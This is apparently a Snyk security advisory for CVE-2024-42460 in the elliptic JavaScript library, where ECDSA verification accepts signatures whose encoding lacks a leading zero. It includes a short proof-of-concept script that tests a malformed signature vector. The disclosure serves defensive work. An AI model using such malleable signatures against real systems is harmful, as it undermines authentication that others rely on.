Improper Verification of Cryptographic Signature Affecting org.webjars.npm:elliptic package, versions [0,]
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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- published19 Aug 2024
- disclosed2 Aug 2024
- creditMarkus Schiffermüller
Introduced: 2 Aug 2024
CVE-2024-42460 (opens in a new tab)How to fix?
A fix was pushed into the master branch but not yet published.
Overview
org.webjars.npm:elliptic is a Fast elliptic-curve cryptography in a plain javascript implementation.
Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to a missing check for whether the leading bit of r and s is zero. An attacker can manipulate the ECDSA signature by exploiting this oversight.
PoC
var elliptic = require('elliptic'); // tested with version 6.5.6
var hash = require('hash.js');
var toArray = elliptic.utils.toArray;
var ec = new elliptic.ec('secp256k1');
// [tcId 6] Legacy: ASN encoding of r misses leading 0
var msg = '313233343030';
var sig = '30440220813ef79ccefa9a56f7ba805f0e478584fe5f0dd5f567bc09b5123ccbc983236502206ff18a52dcc0336f7af62400a6dd9b810732baf1ff758000d6f613a556eb31ba';
var pk = '04b838ff44e5bc177bf21189d0766082fc9d843226887fc9760371100b7ee20a6ff0c9d75bfba7b31a6bca1974496eeb56de357071955d83c4b1badaa0b21832e9';
var hashMsg = hash.sha256().update(toArray(msg, 'hex')).digest();
var pubKey = ec.keyFromPublic(pk, 'hex');
console.log('Valid signature: ' + pubKey.verify(hashMsg, sig));